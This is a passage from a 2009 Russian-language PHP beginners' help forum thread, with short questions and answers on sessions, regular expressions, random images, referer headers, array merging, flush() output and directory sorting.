if (!isset($_SESSION['c'])) $_SESSION['c']=0;
echo "Ты тут уже был ".$_SESSION['c']++." раз. Жми F5";
?>

вот нормальный пример, и php.ini тут вовсе не причём
тем более что

; Whether to use cookies.
session.use_cookies = 1

ищи у себя ошибки в скрипте

harom
06.10.2009, 10:18
всем спасибо за ответы, сам скрипт (http://zubar-andrey.org.ua/files/register.rar) выложить то не сложно, не мой он, я лишь разбираюсь в нём, но за ваши подсказки(никакого кода, просто намёки) был бы благодарен

xtra
06.10.2009, 12:38
как сделать простой рандомный вывод картинки из папки?

krypt3r
06.10.2009, 12:56
К примеру, прочитать скриптом каталог с картинками, записать имена файлов в массив. Генерите число от нуля до максимального индекса полученного массива. Собственно все

WNZRS
06.10.2009, 14:22
$img = scandir('images');
echo '<img src="'.$img[rand(2, sizeof($img)-1)].'">';

draliokero
06.10.2009, 21:06
Есть .txt файл, в нем на каждой строчке есть слова.
Нужно осуществить поиск слов по нему с возможностью указания маски * и ?

preda1or
06.10.2009, 21:24
Есть .txt файл, в нем на каждой строчке есть слова.
Нужно осуществить поиск слов по нему с возможностью указания маски * и ?

$file = file_get_contents('file');
$search = 'Слово';
preg_match('#.*'.$search.'.*#isU',$file,$match);
print_r($match);

by m0hze

draliokero
06.10.2009, 21:34
preda1or, Спасибо, а как сделать, чтобы $search = 'Слово, слово1, слово2...'; через запятую можно было указать (с возможностью вставки маски в словах)? Чтобы можно было по маске одно или несколько слов найти...

NARCOZ
06.10.2009, 22:04
Может есть такой скрипт который сканирует папку и выводит все содержимое папки в таблицу, или как он называется?

gisTy
06.10.2009, 22:31
preda1or, Спасибо, а как сделать, чтобы $search = 'Слово, слово1, слово2...'; через запятую можно было указать (с возможностью вставки маски в словах)? Чтобы можно было по маске одно или несколько слов найти...
поччитай про регулярные выражения.
например тутhttp://php.su/lessons/?lesson_17

superboy4
07.10.2009, 16:01
Друзья, скажите
Если чел залогинится на Вконтакте, а затем перейдёт на мой сайт, какой Примерно вид будет иметь заголовок referer, если чел идёт оттуда? Только точно!

WNZRS
07.10.2009, 16:20
если чел набрал адрес твоего сайта в адресной строке, то рефера не будет
а если перешёл по ссылке из контакта, то будет http://vkontakte.ru/away.php?to=ссылка

superboy4
07.10.2009, 16:24
да блин, он сам выбрал ссылку моего сайта в браузере, набрал чтоли!
вот про что я говорю!?

WNZRS
07.10.2009, 16:25
http://vkontakte.ru/away.php?to=ссылка

superboy4
07.10.2009, 16:31
http://vkontakte.ru/away.php?to=ссылка
это будет, если пользователь перейдёт по ссылке на ВК, например на стенке.

WNZRS
07.10.2009, 16:33
по любой ссылке с сайта

Gin
07.10.2009, 22:33
Возникла необходимость написать свой скрипт для распределения трафика, но вот столкнулся с проблемой, какой алгоритм выбрать для неравномерного распределния трафа между ресурсами. Сам я надумал кое какие, но "корявые" какие-то, буду рад если поделишься своими наработками. Спасибо.

gisTy
07.10.2009, 22:52
Возникла необходимость написать свой скрипт для распределения трафика, но вот столкнулся с проблемой, какой алгоритм выбрать для неравномерного распределния трафа между ресурсами. Сам я надумал кое какие, но "корявые" какие-то, буду рад если поделишься своими наработками. Спасибо.
зачем придумывать велосипеды? все и так давно написано
возьми tds какую-нибудь и заюзай ее

Gin
07.10.2009, 22:58
2gisTy
Я не изобретаю велосипед, просто возникла такая необходимость, решаю задачу которая не совсе вписываеться в функцию типичной тдс

WVBR
08.10.2009, 01:21
неравномерно распределять траф - это наверн случайно по списку.. ?
а-3
б-9
в-14
----
траф -> рандом(а.б.в) -> б - > +1
----
а-3
б-10
в-14

REBUUS
08.10.2009, 01:22
есть текст из файла, содержит все что угодно , на пр:
#$@_X<br> M@RC _(R @ <div> |RY +||#R|#*@ bk[0] = 'ТЕКСТ ТЕКСТ';http://sf23f/324f/

Надо вытащить ТЕКСТ ТЕКСТ который находиться между bk[0] = ' и '; без кавычек
пробовал регулярными выражениями, но я в них слаб, может вы поможете ?

L.A.V
08.10.2009, 01:33
Fepsis прав, я чет не то выложил.(не весь кусок кода)

Fepsis
08.10.2009, 01:33
есть текст из файла, содержит все что угодно , на пр:
#$@_X<br> M@RC _(R @ <div> |RY +||#R|#*@ bk[0] = 'ТЕКСТ ТЕКСТ';http://sf23f/324f/

Надо вытащить ТЕКСТ ТЕКСТ который находиться между bk[0] = ' и '; без кавычек
пробовал регулярными выражениями, но я в них слаб, может вы поможете ?
<?php
$text = "#$@_X<br> M@RC _(R @ <div> |RY +||#R|#*@ bk[0] = 'ТЕКСТ ТЕКСТ';http://sf23f/324f/";
preg_match_all("/(?<=bk\[0\] = \')(.*?)(?=\'\;)/", $text, $res);
print_r($res[0]);
?>

REBUUS
08.10.2009, 01:41
<?php
$text = "#$@_X<br> M@RC _(R @ <div> |RY +||#R|#*@ bk[0] = 'ТЕКСТ ТЕКСТ';http://sf23f/324f/";
preg_match_all("/(?<=bk\[0\] = \')(.*?)(?=\'\;)/", $text, $res);
print_r($res[0]);
?>

выводит Array ( [0] => ТЕКСТ ТЕКСТ ) :mad:
через echo вообще не выводит $res[0]

Fepsis
08.10.2009, 01:47
выводит Array ( [0] => ТЕКСТ ТЕКСТ ) :mad:
через echo вообще не выводит $res[0]
echo $res[0][0]

ЗЫ: а вообще лучше так, на случай если совпадений будет несколько:
<?php
$text = "#$@_X<br> M@RC _(R @ <div> |RY +||#R|#*@ bk[0] = 'ТЕКСТ ТЕКСТ';http://sf23f/324f/#$@_X<br> M@RC _(R @ <div> |RY +||#R|#*@ bk[0] = 'ТЕКСТ ТЕКСТ';http://sf23f/324f/#$@_X<br> M@RC _(R @ <div> |RY +||#R|#*@ bk[0] = 'Пщ Пщ';http://sf23f/324f/#$@_X<br> M@RC _(R @ <div> |RY +||#R|#*@ bk[0] = 'olololololol';http://sf23f/324f/#$@_X<br> M@RC _(R @ <div> |RY +||#R|#*@ bk[0] = '123';http://sf23f/324f/";
preg_match_all("/(?<=bk\[0\] = \')(.*?)(?=\'\;)/", $text, $res);
for ($i = 0; $i<count($res[0]); $i++)
echo $res[0][$i].'<br>';
?>

min7
08.10.2009, 01:48
Либо можно просто preg_match вместо preg_match_all и тогда через echo $res[0]; выводиться будет

REBUUS
08.10.2009, 01:49
echo $res[0][0]

Благодарю :)
буду учить preg_match а то часто нужен бывает :)


кстати не знайте где подробно все о preg_match почитать можно, что бы с примерами , в инете искал и везде одно и тоже и 2-3 примера, как домен вытащить или меил проверить

Fepsis
08.10.2009, 01:54
Либо можно просто preg_match вместо preg_match_all и тогда через echo $res[0]; выводиться будет
Ну да, я на случай, если совпадений будет несколько писал...
REBUUS, глянь код в моём предыдущем посте...

REBUUS
08.10.2009, 01:59
Ну да, я на случай, если совпадений будет несколько писал...
REBUUS, глянь код в моём предыдущем посте...

Значит preg_match только первые попавший по условию, а preg_match+all все ?

Fepsis
08.10.2009, 02:18
Значит preg_match только первые попавший по условию, а preg_match+all все ?
Да...

REBUUS
08.10.2009, 02:20
а как насчет книжек
где подробно все о preg_match почитать можно, что бы с примерами , в инете искал и везде одно и тоже и 2-3 примера, как домен вытащить или меил проверить

я наверно запарил тебя уже )))))

Chode
08.10.2009, 02:26
http://php.su/functions/?f=preg_match&choice=info

Нужно больше примеров
http://ru.php.net/manual/en/function.preg-match.php

регулярные выражения
http://php.su/lessons/?lesson_17

Gin
08.10.2009, 07:19
2WVBR
Таким образом траф, будет распределяться равномерно, на 3 ресурса.

2all
Вопрос все еще открыт, каким алгоритмом можно неравномерно распределять траф между ресурсами.

kevmen
08.10.2009, 15:22
Warning: file_get_contents

failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
кто-нибудь что-нибудь подсказать может?заранее спасибо

SQLHACK
08.10.2009, 15:27
Warning: file_get_contents

failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
кто-нибудь что-нибудь подсказать может?заранее спасибо

а че тут подсказывать, нету страницы такой на сайте.

kevmen
08.10.2009, 16:47
есть два массива

$name = array('Иван','Саша','Маша');
$lastname = array('Иванов','Александров','М дведева');
Как объединить эти массивы так, чтобы они приняли вид

'Иван' => 'Иванов' ,'Саша' => 'Александров', 'Маша'=>'Медведева'

Fepsis
08.10.2009, 16:57
2kevmen
http://php.su/functions/?array-combine

mailbrush
08.10.2009, 17:01
<?php

$name = array('Иван', 'Саша', 'Маша');
$lastname = array('Иванов', 'Александров', 'Медведева');
$names = array_combine($lastname, $name);

?>

zifanchuck
08.10.2009, 19:56
Назрел такой вопрос. даже незнаю как сказать) ну допустим скрипт работает и результат отдает только когда размер результата равен чемуто. ну например я запускаю скрипт который отдает мне очень много инфы (например загрузка нескольких страниц и вывод в браузер) то он грузиться большими частями и вывод я вижу еще до окончания работы скрипта. и другой например что выводит по строку "1" с интервалом в 10 сек тогда я вижу ети единички аж после окончания работы.
вопрос как уменьшить етот обьем чтобы в браузер выводились те "1" не дожидаясь окончания работы. может чтото нужно дописать в скрипте, или в хтачес чтото кинуть?

п.с надуюсь вы поняли что я имею ввиду)

wildshaman
08.10.2009, 20:05
Назрел такой вопрос. даже незнаю как сказать) ну допустим скрипт работает и результат отдает только когда размер результата равен чемуто. ну например я запускаю скрипт который отдает мне очень много инфы (например загрузка нескольких страниц и вывод в браузер) то он грузиться большими частями и вывод я вижу еще до окончания работы скрипта. и другой например что выводит по строку "1" с интервалом в 10 сек тогда я вижу ети единички аж после окончания работы.
вопрос как уменьшить етот обьем чтобы в браузер выводились те "1" не дожидаясь окончания работы. может чтото нужно дописать в скрипте, или в хтачес чтото кинуть?

п.с надуюсь вы поняли что я имею ввиду)
flush();

zifanchuck
08.10.2009, 20:12
flush();

спс. как раз то что нужно)))

m0Hze
08.10.2009, 20:22
спс. как раз то что нужно)))
Это тебене коим образом не поможет,если в браузере в about:config выставлено так сказать "ожидаие полной загрузки".
В общем - ве зависит от натсроек браузера.В мозиле это отключаеться легко,сменой параметра с true на false.

zifanchuck
08.10.2009, 20:25
у меня опера. потестил все норм) в других пока не пробовал, но спасибо буду знать что делать в других браузерах)

m0Hze
08.10.2009, 20:29
А вааще,юзай ява скрипт :) зачем мучить сервер этим глупым выводом. :D

zifanchuck
08.10.2009, 20:39
про 1 ето я для примера))) и мне сейчас оно не нужно) ето я на будущее)))

dllerk
08.10.2009, 21:20
подскажите, как отсортировать элементы каталога от папок до файлов ?

m0Hze
08.10.2009, 22:02
подскажите, как отсортировать элементы каталога от папок до файлов ?
Так если мне не изменяет память,возвращаеться все в таком виде:

..
.
catalog1/
catalog2/
...
catalogN/
file1.*
file2.*
...
fileN.*

L I G A
08.10.2009, 22:28
подскажите, как отсортировать элементы каталога от папок до файлов ?
загоняешь в массив и сортируешь перед выводом как тебе угодно

________
0ph.ru

Failure
08.10.2009, 22:28
интересует пример создания топика на phpbb
в плане какой HTTP запрос отсылать, сниффал тампер датой, получаю полный бред =\

mailbrush
08.10.2009, 22:34
интересует пример создания топика на phpbb
в плане какой HTTP запрос отсылать, сниффал тампер датой, получаю полный бред =\
Вот этот "бред" и посылай.

Failure
08.10.2009, 22:42
http://s56.radikal.ru/i151/0910/b2/21e5e8c0535dt.jpg (http://s56.radikal.ru/i151/0910/b2/21e5e8c0535d.png)
посылал, 0 на массу